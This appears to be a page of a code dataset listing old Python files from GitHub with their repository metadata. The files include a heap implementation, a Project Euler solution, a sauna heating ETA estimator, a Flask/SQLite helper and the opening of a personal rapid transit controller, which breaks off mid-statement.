HttpResponseRedirect('/posts/')"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":997,"cells":{"__id__":{"kind":"number","value":15556371548374,"string":"15,556,371,548,374"},"blob_id":{"kind":"string","value":"33f91f649892ba2369ff24c42bd750324fbb2210"},"directory_id":{"kind":"string","value":"20a75363454221a088c4bfc974c3bd1b593444d4"},"path":{"kind":"string","value":"/RECURSION/turtle_basic.py"},"content_id":{"kind":"string","value":"2b9f997bea1f1529c576e53884c33990592bfcfb"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"shibinp/problem_solving_with_algoritms_and_datastructure"},"repo_url":{"kind":"string","value":"https://github.com/shibinp/problem_solving_with_algoritms_and_datastructure"},"snapshot_id":{"kind":"string","value":"2adefad4914796bf497e5e098167d3408aea7d9e"},"revision_id":{"kind":"string","value":"646157000eb7d6ef4b2b002eccebc15a9bf294ed"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-05-17T20:02:38.493063","string":"2020-05-17T20:02:38.493063"},"revision_date":{"kind":"timestamp","value":"2014-11-27T08:08:10","string":"2014-11-27T08:08:10"},"committer_date":{"kind":"timestamp","value":"2014-11-27T08:08:10","string":"2014-11-27T08:08:10"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import turtle\nturtle.shape(\"turtle\")\nturtle.forward(300)\nturtle.right(90)\nturtle.forward(300)\nturtle.right(90)\nturtle.forward(300)\nturtle.right(90)\nturtle.forward(300)\nturtle.exitonclick()\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":998,"cells":{"__id__":{"kind":"number","value":18090402278490,"string":"18,090,402,278,490"},"blob_id":{"kind":"string","value":"e996b68cba5e2147e86a08c7d414eb66e77bf930"},"directory_id":{"kind":"string","value":"599207b3a6b39bb878dc720b280c331e02ab8679"},"path":{"kind":"string","value":"/vcsorm/decorators.py"},"content_id":{"kind":"string","value":"659490d369ea37768758b9b503e9b36276296594"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"Tefnet/python-vcsorm"},"repo_url":{"kind":"string","value":"https://github.com/Tefnet/python-vcsorm"},"snapshot_id":{"kind":"string","value":"f770288f1fad9730d84a340c08f05b0ae5205832"},"revision_id":{"kind":"string","value":"9c02dcdece341b5bdf611191410662d7065fbd35"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-01T15:18:52.679870","string":"2021-01-01T15:18:52.679870"},"revision_date":{"kind":"timestamp","value":"2013-05-05T09:34:50","string":"2013-05-05T09:34:50"},"committer_date":{"kind":"timestamp","value":"2013-05-05T09:34:50","string":"2013-05-05T09:34:50"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"class IterStreamer(object):\n \"\"\"\n File-like streaming iterator.\n \"\"\"\n def __init__(self, func):\n self.func = func\n\n def __len__(self):\n return self.generator.__len__()\n\n def __iter__(self):\n return self.iterator\n\n def __call__(self, *args, **kwargs):\n self.leftover = ''\n self.generator = self.func.__call__(self.obj, *args, **kwargs)\n self.iterator = iter(self.generator)\n return self\n\n def __get__(self, instance, owner):\n self.cls = owner\n self.obj = instance\n\n return self.__call__\n\n def next(self):\n return self.iterator.next()\n\n def read(self, size):\n data = self.leftover\n count = len(self.leftover)\n try:\n while count < size:\n chunk = self.next()\n data += chunk\n count += len(chunk)\n except StopIteration, e:\n self.leftover = ''\n return data\n\n if count > size:\n self.leftover = data[size:]\n\n return data[:size]\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":999,"cells":{"__id__":{"kind":"number","value":5583457505784,"string":"5,583,457,505,784"},"blob_id":{"kind":"string","value":"7db15aae9fa6603990e16a436e8c346344353e67"},"directory_id":{"kind":"string","value":"cb11a1e238b5254889decf5096bfbf4a8bb017fe"},"path":{"kind":"string","value":"/python/garpi/states/lcgcmt.py"},"content_id":{"kind":"string","value":"26d64f48abbd6596dc0f9e76a95829b0295e102d"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"brettviren/garpi"},"repo_url":{"kind":"string","value":"https://github.com/brettviren/garpi"},"snapshot_id":{"kind":"string","value":"a9953e3bbeacfe1d1b29cc0bd4cddd6567b4cbe7"},"revision_id":{"kind":"string","value":"c85215ffa24b82cb5cbe94553c51940d073f60cf"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-06T16:30:22.655696","string":"2016-09-06T16:30:22.655696"},"revision_date":{"kind":"timestamp","value":"2013-02-04T17:41:53","string":"2013-02-04T17:41:53"},"committer_date":{"kind":"timestamp","value":"2013-02-04T17:41:53","string":"2013-02-04T17:41:53"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"'''\nStates for getting lcgcmt installed.\n'''\n\nclass LcgcmtStates:\n def __init__(self):\n return\n\n def register(self,garpi):\n self.garpi = garpi\n garpi.machine.add_state('LCGCMT_START',self.start)\n\n return\n\n def start(self,cargo):\n return\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}}],"truncated":false,"partial":false},"paginationData":{"pageIndex":9,"numItemsPerPage":100,"numTotalItems":42509,"offset":900,"length":100}},"jwt":"eyJhbGciOiJFZERTQSJ9.eyJyZWFkIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJyZXBvLmNvbnRlbnQucmVhZCI6dHJ1ZX0sImlhdCI6MTc1NjIzNTIxOCwic3ViIjoiL2RhdGFzZXRzL2xvdWJuYWJubC9vbGRfcHl0aG9uIiwiZXhwIjoxNzU2MjM4ODE4LCJpc3MiOiJodHRwczovL2h1Z2dpbmdmYWNlLmNvIn0.0lXaykToaSkUn-R18SlmhrfyFDmLpdKc8iT4y9yExk2gNqIID3spRRYDAQTAKTGGjN-7rg-UT_4tifsvksAYAQ","displayUrls":true},"discussionsStats":{"closed":0,"open":1,"total":1},"fullWidth":true,"hasGatedAccess":true,"hasFullAccess":true,"isEmbedded":false,"savedQueries":{"community":[],"user":[]}}">
__id__
int64
3.09k
19,722B
blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
256
content_id
stringlengths
40
40
detected_licenses
list
license_type
stringclasses
3 values
repo_name
stringlengths
5
109
repo_url
stringlengths
24
128
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
42
visit_date
timestamp[ns]
revision_date
timestamp[ns]
committer_date
timestamp[ns]
github_id
int64
6.65k
581M
star_events_count
int64
0
1.17k
fork_events_count
int64
0
154
gha_license_id
stringclasses
16 values
gha_fork
bool
2 classes
gha_event_created_at
timestamp[ns]
gha_created_at
timestamp[ns]
gha_updated_at
timestamp[ns]
gha_pushed_at
timestamp[ns]
gha_size
int64
0
5.76M
gha_stargazers_count
int32
0
407
gha_forks_count
int32
0
119
gha_open_issues_count
int32
0
640
gha_language
stringlengths
1
16
gha_archived
bool
2 classes
gha_disabled
bool
1 class
content
stringlengths
9
4.53M
src_encoding
stringclasses
18 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
year
int64
1.97k
2.01k
15,427,522,563,852
d37d861a46c4685efd464dbf201e9caefa758b3e
9ab17ebfcba2ea08dc91e669e30d62690cd6bcce
/util.py
2a322072d52ae8d63875e11d0a4cd5ca07bd37d6
[]
no_license
g----/barca
https://github.com/g----/barca
965fc88ae7c09969c72e3bb876e4b9758653405a
b930181e697750b0e45ce2d75c4a696d6ccf445d
refs/heads/master
2016-09-01T20:46:26.742259
2013-01-05T19:06:42
2013-01-05T19:06:42
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- import re import unicodedata from flask import _app_ctx_stack from sqlite3 import dbapi2 as sqlite3 class Logger(object): def __init__(self, app): self.d = app.logger.debug self.w = app.logger.warning self.e = app.logger.error #if not app.debug: # import logging # file_handler = logging.FileHandler(app.config['DEBUG_LOG']) # file_handler.setLevel(logging.DEBUG) # app.logger.addHandler(file_handler) ##endif #enddef #endclass def deaccent(unistr): ret = [] for aChar in unicodedata.normalize("NFD", unistr): if not unicodedata.combining(aChar): ret += aChar #endif #endfor return "".join(ret) #enddef def urlize(s): #prevod na unicode try: s = unicode(s.decode("utf8")) except: pass # odstraneni diakritiky ret = deaccent(s) ret = ret.lower() ret = re.sub("[ .,:;/?!&=+@]", "-", ret) ret = re.sub("[^\w\d-]", "", ret) ret = re.sub(re.compile("%.."), "", ret) ret = re.sub("--", "-", ret) while ret[-1:] == '-': ret = ret[:-1] #endwhile return ret #enddef class DB(object): def __init__(self, app): self.app = app self._lastrowid = None #enddef def init(self): """ Creates the database tables. """ with self.app.app_context(): db = self.get_db() with self.app.open_resource('schema.sql') as f: db.cursor().executescript(f.read()) db.commit() #endwith #enddef def get_db(self): """ Opens a new database connection if there is none yet for the current application context. """ top = _app_ctx_stack.top if not hasattr(top, 'sqlite_db'): top.sqlite_db = sqlite3.connect(self.app.config['DATABASE']) #endif top.sqlite_db.row_factory = sqlite3.Row return top.sqlite_db #enddef def query(self, query, args=(), one=False): self._lastrowid = None db = self.get_db() Logger(self.app).d(query.replace('?', '%s') % args) cur = db.execute(query, args) self._lastrowid = cur.lastrowid rv = [dict((cur.description[idx][0], value) for idx, value in enumerate(row)) for row in cur.fetchall()] return (rv[0] if rv else None) if one else rv #enddef def commit(self): db = self.get_db() db.commit() #enddef @property def lastrowid(self): #db = self.get_db() #return db.lastrowid return self._lastrowid #enddef #endclass
UTF-8
Python
false
false
2,013
481,036,385,234
393b529aa03062bdcc839f47d0842ad8c7de7cc9
7d7fba5d4596ec38f8ba961c7b94e4594e44f634
/007/007_1.py
48d31de526e8e3b780373e3914a773add0f9c5c8
[]
no_license
Mr4x3/Project-Euler
https://github.com/Mr4x3/Project-Euler
551bc7ac4c3a706f54a32aa2b12b795ab747e9cc
df57794e6ba358669c9692f043be093c15702f2c
refs/heads/master
2016-10-22T15:21:18.585101
2013-05-24T18:32:01
2013-05-24T18:32:01
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python2 # -*- coding: utf8 -*- """ 10001st prime Problem 7 http://projecteuler.net/problem=7 By listing the first six prime numbers: 2, 3, 5, 7, 11, and 13, we can see that the 6th prime is 13. What is the 10 001st prime number? """ import math def is_prime(number): for n in xrange(2, int(math.sqrt(number)) + 1): if number % n == 0: return False return True i = 1 # let's assume 2 and 3 as prime numbers by default prime_numbers = [2, 3] while len(prime_numbers) < 10001: for x in (6 * i - 1, 6 * i + 1): if is_prime(x): prime_numbers.append(x) i += 1 print max(prime_numbers)
UTF-8
Python
false
false
2,013
11,828,339,973,835
f560c8f15879a7488a1554056b36bad962ead1ec
701de6847a7b38e078d137cadd2b19ecda7de595
/Heap.py
463d020545c60e2dbd04d5c0fdbf11481696322b
[]
no_license
dinimicky/py_arith
https://github.com/dinimicky/py_arith
c229858b606555e838647c2747801b17139a215c
d30f547bb77073607f5ac6ee15e979920e009cc8
refs/heads/master
2021-01-01T06:32:15.985827
2014-09-03T13:55:00
2014-09-03T13:55:00
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
def parent(i): return i // 2 def left(i): return i * 2 def right(i): return i * 2 + 1 def max_heapify1(Heap, i): heap_len = Heap[0] l = left(i) r = right(i) if l <= heap_len and Heap[i] <= Heap[l]: largest = l else: largest = i if r <= heap_len and Heap[largest] <= Heap[r]: largest = r if largest != i: Heap[i], Heap[largest] = Heap[largest], Heap[i] max_heapify1(Heap, largest) def max_heapify2(Heap, i): heap_len = Heap[0] while i < heap_len: r = right(i) l = left(i) if l <= heap_len and Heap[i] <= Heap[l]: largest = l else: largest = i if r <= heap_len and Heap[largest] <= Heap[r]: largest = r if largest == i: break Heap[i], Heap[largest] = Heap[largest], Heap[i] i = largest def build_max_heap(L): Heap = list(L) heap_len = len(Heap) Heap.insert(0, heap_len) for i in range(heap_len // 2, 0, -1): max_heapify2(Heap, i) return Heap def heap_sort(L): Heap = build_max_heap(L) while Heap[0] >= 2: Heap[1], Heap[Heap[0]] = Heap[Heap[0]], Heap[1] Heap[0] -= 1 max_heapify2(Heap, 1) return Heap[1:] #Priority Queue def heap_maximum(Heap): return Heap[1] def heap_extract_max(Heap): if Heap[0] < 1: return Max = Heap[1] Heap[1], Heap[Heap[0]] = Heap[Heap[0]], Heap[1] Heap[0] -= 1 max_heapify2(Heap, 1) return Max def heap_increase_key(Heap, i, key): if Heap[i] > key: return False Heap[i] = key while i > 1 and Heap[parent(i)] < Heap[i]: p = parent(i) Heap[i], Heap[p] = Heap[p], Heap[i] i = p return True def max_heap_insert1(Heap, key): Heap[0] += 1 if Heap[0] > len(Heap) - 1: Heap.append(float('-inf')) else: Heap[Heap[0]] = float('-inf') heap_increase_key(Heap, Heap[0], key) def max_heap_insert2(Heap, key): Heap[0] += 1 if Heap[0] > len(Heap) - 1: Heap.append(key) else: Heap[Heap[0]] = key i = Heap[0] while i > 1 and Heap[parent(i)] < Heap[i]: p = parent(i) Heap[i], Heap[p] = Heap[p], Heap[i] i = p def max_heap_delete(Heap, i): Heap[i] = float('-inf') max_heapify2(Heap, i) Heap[0] -= 1
UTF-8
Python
false
false
2,014
9,174,050,151,524
389e7e6e7eb342ab6e054310bbad61c73c95ea94
12c8fdc54e4b8d52835da22f07d5a39a3054ddc9
/backend/sauna/eta.py
3e6127f5bed28568e3f55d4d76a739db5af56ee9
[ "BSD-3-Clause", "LicenseRef-scancode-proprietary-license", "LicenseRef-scancode-unknown-license-reference", "Apache-2.0", "MIT", "LicenseRef-scancode-public-domain", "DOC", "GPL-1.0-or-later", "CC0-1.0", "LicenseRef-scancode-free-unknown", "CC-BY-SA-3.0", "GPL-3.0-only", "CC-BY-3.0" ]
non_permissive
ojarva/status.futurice.com
https://github.com/ojarva/status.futurice.com
ad983fa956cf4d60069539e681460afcfd30910e
5e10436c5d0fadd9596baffb03aba5f45281aa90
refs/heads/master
2021-01-16T00:58:02.767453
2014-04-04T06:31:14
2014-04-04T06:31:14
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/python #(C) 2007 Joel Kaasinen # This code is public domain. import sys from numpy.core import * from numpy.lib import * from numpy.linalg import * from math import sqrt class EtaCalculator: """ Calculates ETA to target temperature. Theory of operation: (Tmax - T(t)) = (Tmax - T(0))*e^(-kt) where Tmax is the thermodynamic maximum temperature and T(t) is temperature as a function of time. Thus: ln (Tmax - T(t)) = ln (Tmax - T(0)) - kt || substitute T2(t) = Tmax - T(t) ln T2(t) = ln T2(0) - kt Thus when Tmax is chosen correctly we can make a near-perfect linear fit. """ def __init__(self, target, items): # min. temp to consider, i.e T(0) self.MIN = 25 self.target = target self.items_raw = items self.items = filter(lambda x: x>self.MIN, map (float, items)) self.timestep = 60 # seconds def calc(self): """ Calculates ETA (in seconds) to target temperature Returns: Seconds before reaching target temperature """ def meanstdv(x): n, mean, std = len(x), 0, 0 for a in x: mean = mean + a mean = mean / float(n) for a in x: std = std + (a - mean)**2 std = sqrt(std / float(n-1)) return mean, std (_, std) = meanstdv(self.items) if std < 1: return -99999999 kbest = None Tmaxbest = None resids = None T = map( lambda x: [x, 1], range(len(self.items))) # t vector for fit for Tmax in range(100,500,5): # step thru temps y = map( lambda x: log(Tmax - x), self.items ) # T2(t) vector # solve least squares for Tk=y k,r,rank,s = lstsq(T, y) if resids == None or r < resids: # we've got a better fit kbest = k resids = r Tmaxbest = Tmax t0 = roots([k[0], k[1]-log(Tmax-self.target)])[0]-(len(T)) return t0 * self.timestep def main(args): target = float(args[1]) etacalculator = EtaCalculator(target, args[2:]) print etacalculator.calc() return 0 if __name__ == '__main__': sys.exit(main(sys.argv))
UTF-8
Python
false
false
2,014
10,548,439,702,280
e632eb23e886ef0827f2919f50c2d85f5198df56
02f098b0029ddec0882cbc083a34b7b07e9edffd
/tests/test_lexing_terminators.py
4767896e4ba57735865964fae3234b4ed97ef07e
[]
no_license
mightymoose/nash
https://github.com/mightymoose/nash
5947f012c82a187dedd1fe3ee9f9babd185133a9
dbab2c1a83fa2a8a949ae85d912874ed6f2fe68b
refs/heads/master
2018-03-12T08:04:25.025394
2013-07-18T19:35:20
2013-07-18T19:35:20
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import nash.lexer as lexer nash_lexer = lexer.Lexer() def test_lexing_newline(): program = '\n' nash_lexer.input = program token = nash_lexer.token() assert token.value == '\n' assert token.type == 'TERMINATOR' def test_lexing_semicolon(): program = ';' nash_lexer.input = program token = nash_lexer.token() assert token.value == ';' assert token.type == 'TERMINATOR'
UTF-8
Python
false
false
2,013
12,876,311,974,403
5a492c3bd02bde75813f5a8f7f7d1e64a328cf43
28c7f98e326d41b90c036d9175a5aee85adf1198
/assignment1/tweet_sentiment.py
83f9d729a723aa2fe72c1eae6d6003ba7fabdf05
[ "ODbL-1.0" ]
non_permissive
mmbsow/Coursera_Intro2DataScience_UW
https://github.com/mmbsow/Coursera_Intro2DataScience_UW
49096f6cc6a09fd2c8a36ff6f753fc26e0f42cf1
de28abbd5a6853b73ce2487f93bc26d8f2f0de98
refs/heads/master
2020-04-15T00:34:18.386827
2014-08-10T13:08:37
2014-08-10T13:08:37
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import sys import json import re def getAfinnDicts(afinnFile): # build 2 dictionaries of scores from AFINN file: # one with single words, one for 2 words single_words = {} double_words = {} for line in afinnFile: term, score = line.split('\t') if re.findall(r'\w+ \w+', term): double_words[term] = int(score) else: single_words[term] = int(score) return (single_words, double_words) def getTweetScore(tweet, single_words, double_words): tweet_score = [] # get scores for single-word term (ex: "fun") tweet_score = [ single_words.get(s, 0) for s in re.split(r'\W+', tweet) if s ] # append scores for multi-word term (ex: "no fun") for term, score in double_words.items(): tweet_score = tweet_score + [ score for d in re.findall(r'\b%s\b' % term, tweet) ] return sum(tweet_score) def main(): sent_file = open(sys.argv[1]) tweet_file = open(sys.argv[2]) # get dictionaries of sentiment scores single_words, double_words = getAfinnDicts(sent_file) # parse twitter output for line in tweet_file.readlines(): text = None sent_score = 0 # decode json and get the text part of the tweet try: tweet = json.loads(line) text = tweet.get('text', None) except: text = None # if tweet is valid, compute score if text: tweet_score = getTweetScore(text.encode('utf-8').lower(), single_words, double_words) print tweet_score if __name__ == '__main__': main()
UTF-8
Python
false
false
2,014
120,259,087,317
4204704cf51a17e69241b5c84d76645f13cf5681
9aacb4c21cc9007128e067495b0ea6b535e0249d
/tm_format_to_re.py
5f9db7f3246bce267c5937b1431978d9778e9753
[]
no_license
fengyu225/splunk_automation
https://github.com/fengyu225/splunk_automation
81a862dc547e00a48df50a311f1034da1d8a916b
befd69eccdf16413476044ab8cc3bd6cfb286dc6
refs/heads/master
2020-06-03T19:35:51.053864
2014-08-12T16:54:04
2014-08-12T16:54:04
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import sys import time import re WEEKDAY_EN = '(?u)[Mm][Oo][Nn](?:[Dd][Aa][Yy])?|[Tt][Uu][Ee](?:[Ss]?(?:[Dd][Aa][Yy])?)?|[Ww][Ee][Dd](?:[Nn][Ee][Ss][Dd][Aa][Yy])?|[Tt][Hh][Uu](?:[Rr]?[Ss]?(?:[Dd][Aa][Yy])?)?|[Ff][Rr][Ii](?:[Dd][Aa][Yy])?|[Ss][Aa][Tt](?:[Uu][Rr][Dd][Aa][Yy])?|[Ss][Uu][Nn](?:[Dd][Aa][Yy])?' MONTH_EN = '(?u)[Jj][Aa][Nn](?:[Uu][Aa][Rr][Yy])?|[Ff][Ee][Bb](?:[Rr][Uu][Aa][Rr][Yy])?|[Mm][Aa][Rr](?:[Cc][Hh])?|[Aa][Pp][Rr](?:[Ii][Ll])?|[Mm][Aa][Yy]|[Jj][Uu][Nn][Ee]?|[Jj][Uu][Ll][Yy]?|[Aa][Uu][Gg](?:[Uu][Ss][Tt])?|[Ss][Ee][Pp](?:[Tt](?:[Ee][Mm][Bb][Ee][Rr])?)?|[Oo][Cc][Tt](?:[Oo][Bb][Ee][Rr])?|[Nn][Oo][Vv](?:[Ee][Mm][Bb][Ee][Rr])?|[Dd][Ee][Cc](?:[Ee][Mm][Bb][Ee][Rr])?' DAY_MONTH_INT = '[12][0-9]|3[01]|0?[1-9]' DECIMAL_MONTH_INT = '0[1-9]|[12][0-9]|3[0-1]' DAY_WEEK_INT = '[0-6]' TWO_DIGIT_YEAR = '[0-9]{2}' FOUR_DIGIT_YEAR = '[12]\d'+TWO_DIGIT_YEAR HOUR_24 = '[01][0-9]|2[0-4]|\d' HOUR_12 = '0[0-9]|1[0-2]|\d' DAY_DECIMAL_OF_YEAR = '0?0?\d|0?\d\d|[12]\d\d|3[0-5]\d|36[0-6]' MONTH_INT = '0[1-9]|1[0-2]' MINUTE_INT = '[0-5][0-9]' AMPM = '[AaPp][\.\ ]{0,3}(?:[Mm][\.\ ]{0,3})' SECOND = '[0-5][0-9]|6[01]' WEEK_INT = '[0-4][0-9]|5[0-3]' TIME_ZONE = '[+-]\d\d:?\d\d' MILLI_SECOND = '\d+' # reference: https://docs.python.org/2/library/time.html#time.strftime TIME_FORMAT_TO_RE = { "%a":WEEKDAY_EN, "%A":WEEKDAY_EN, "%b":MONTH_EN, "%B":MONTH_EN, "%d":DECIMAL_MONTH_INT, "%f":MILLI_SECOND, '%H':HOUR_24, '%I':HOUR_12, '%j':DAY_DECIMAL_OF_YEAR, '%m':MONTH_INT, '%M':MINUTE_INT, '%p':AMPM, '%S':SECOND, '%U':WEEK_INT, '%w':DAY_WEEK_INT, '%W':WEEK_INT, '%y':TWO_DIGIT_YEAR, '%Y':FOUR_DIGIT_YEAR, '%Z':TIME_ZONE } def tm_format_to_re(time_prefix,time_format): time_format = time_format.strip() time_format = re.sub("([^\w%])",r"\\\g<1>", time_format) for f in TIME_FORMAT_TO_RE: time_format = time_format.replace(f,"(?:{0})".format(TIME_FORMAT_TO_RE[f])) time_format = re.sub("%\d+[A-Za-z]", "\d+", time_format) return "(?P<prefix>{0})(?P<time_str>{1})".format(time_prefix,time_format)
UTF-8
Python
false
false
2,014
16,501,264,351,490
8bd93745e606b1f76be7898073d7b473695fb47d
d3afa730d5681170850b7612e3b32aecaa74bc91
/pyprt/ctrl/prt_controller.py
c9b1fa4c9a761a1219ff0f339cd6f1c0b2cebc00
[ "GPL-3.0-only" ]
non_permissive
Lucjodet/prt-sim
https://github.com/Lucjodet/prt-sim
ab2ac07a3f628e0d43bf95f6135dacd75e8a84a5
d95b03e94c108a099b1c633cf0031994d0af695d
refs/heads/master
2018-01-08T02:47:35.522345
2011-06-16T20:13:12
2011-06-16T20:13:12
54,974,600
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
from __future__ import division ##if __name__ == '__main__': ## # Ensure that other modules are imported from the same version of pyprt ## import sys ## import os.path ## abs_file = os.path.abspath(__file__) ## rel_pyprt_path = os.path.dirname(abs_file) + os.path.sep + os.path.pardir + os.path.sep + os.path.pardir ## abs_pyprt_path = os.path.abspath(rel_pyprt_path) ## sys.path.insert(0, abs_pyprt_path) import optparse from collections import defaultdict from collections import deque import warnings import math import networkx from numpy import arange, inf import pyprt.shared.api_pb2 as api from pyprt.ctrl.base_controller import BaseController from pyprt.ctrl.trajectory_solver import TrajectorySolver, FatalTrajectoryError from pyprt.shared.cubic_spline import Knot, CubicSpline, OutOfBoundsError from pyprt.shared.utility import pairwise, is_string_false, is_string_true, sec_to_hms ##from pyprt.shared.utility import deque # extension of collections.deque which includes 'insert' method class NoPaxAvailableError(Exception): """No passengers are available.""" class NoBerthAvailableError(Exception): """No station berth availaible.""" class NoVehicleAvailableError(Exception): pass class NoVacancyAvailableError(Exception): pass class States(object): """Vehicles use a state machine (diagram in /docs) with these states. 'ADVANCING' means that the vehicle is moving between berths. """ NONE = 0 # No state has been set yet. RUNNING = 1 # Travelling from one station to the next. UNLOAD_ADVANCING = 2 # Have passengers to unload, on or approaching unload platform. UNLOAD_WAITING = 3 # Capable of immediately disembarking passengers. DISEMBARKING = 4 # Parked in unload berth, currently unloading passengers. LOAD_WAITING = 5 # Capable of immediately embarking passengers. LOAD_ADVANCING = 6 # On or approaching the load platform. EMBARKING = 7 # Parked in load berth, loading passengers STORAGE_ENTERING = 8 # Parked in a berth, in the process of moving into storage. STORAGE = 9 # In storage STORAGE_EXITING = 10 # In the process of moving from storage to a berth EXIT_WAITING = 11 # Waiting to reach launch berth. EXIT_ADVANCING = 12 # Moving towards launch berth. LAUNCH_WAITING = 13 # In the launch berth. Ready to lauch at any time. LAUNCHING = 14 # Accelerating towards the main line. strings = ["NONE", "RUNNING", "UNLOAD_ADVANCING", "UNLOAD_WAITING", "DISEMBARKING", "LOAD_WAITING", "LOAD_ADVANCING", "EMBARKING", "STORAGE_ENTERING", "STORAGE", "STORAGE_EXITING", "EXIT_WAITING", "EXIT_ADVANCING", "LAUNCH_WAITING", "LAUNCHING"] @staticmethod def to_string(state): return States.strings[state] class PrtController(BaseController): LINE_SPEED = None # in meter/sec. Set in main(). HEADWAY = None # in sec. Measured from tip-to-tail. Set in main() SWITCH_TIME = None # in sec. Set in main() DEMAND_THRESHOLD = 3 def __init__(self, log_path, commlog_path, stats_path): super(PrtController, self).__init__(log_path, commlog_path) self.t_reminders = dict() # keyed by time (in integer form), values are pairs of lists self.stats_path = stats_path # Manager is instantiated upon receipt of a SIM_GREETING msg. self.manager = None # Manager instance # Meh. Not fond of this style, but it's easy. Fix if I want something braindead to work on. Station.controller = self Merge.controller = self Vehicle.controller = self def set_v_notification(self, vehicle, time): """Request a time notification from sim and store which vehicle the notification is relevant to.""" key = int(time*1000) try: v_list, fnc_list = self.t_reminders[key] if vehicle not in v_list: v_list.append(vehicle) except KeyError: notify = api.CtrlSetnotifyTime() notify.time = time self.send(api.CTRL_SETNOTIFY_TIME, notify) self.t_reminders[key] = ([vehicle], []) def set_fnc_notification(self, fnc, args, time): """Request that function fnc be called with arguments args when time is reached.""" key = int(time*1000) try: v_list, fnc_list = self.t_reminders[key] fnc_list.append( (fnc, args) ) except KeyError: notify = api.CtrlSetnotifyTime() notify.time = time self.send(api.CTRL_SETNOTIFY_TIME, notify) self.t_reminders[key] = ([], [ (fnc, args) ]) def request_v_status(self, vehicle_id): msg = api.CtrlRequestVehicleStatus() msg.vID = vehicle_id self.send(api.CTRL_REQUEST_VEHICLE_STATUS, msg) def trigger_advance(self, vehicle, station): """Triggers a vehicle to advance, if able. May be called on a vehicle that is not ready to advance, in which case the function is a no-op. """ assert isinstance(vehicle, Vehicle) assert isinstance(station, Station) # Exclude vehicles that have reserved berths, but aren't yet in the # relevant states. if vehicle.state not in (States.UNLOAD_WAITING, States.LOAD_WAITING, States.EXIT_WAITING, States.NONE): return assert vehicle.station is station # if vehicle hasn't unloaded, only try to advance as far as the last unload berth try: if vehicle.state is States.UNLOAD_WAITING: station.request_unload_berth(vehicle) vehicle.state = States.UNLOAD_ADVANCING elif vehicle.state is States.LOAD_WAITING: station.request_load_berth(vehicle) vehicle.state = States.LOAD_ADVANCING elif vehicle.state is States.EXIT_WAITING: station.request_launch_berth(vehicle) vehicle.state = 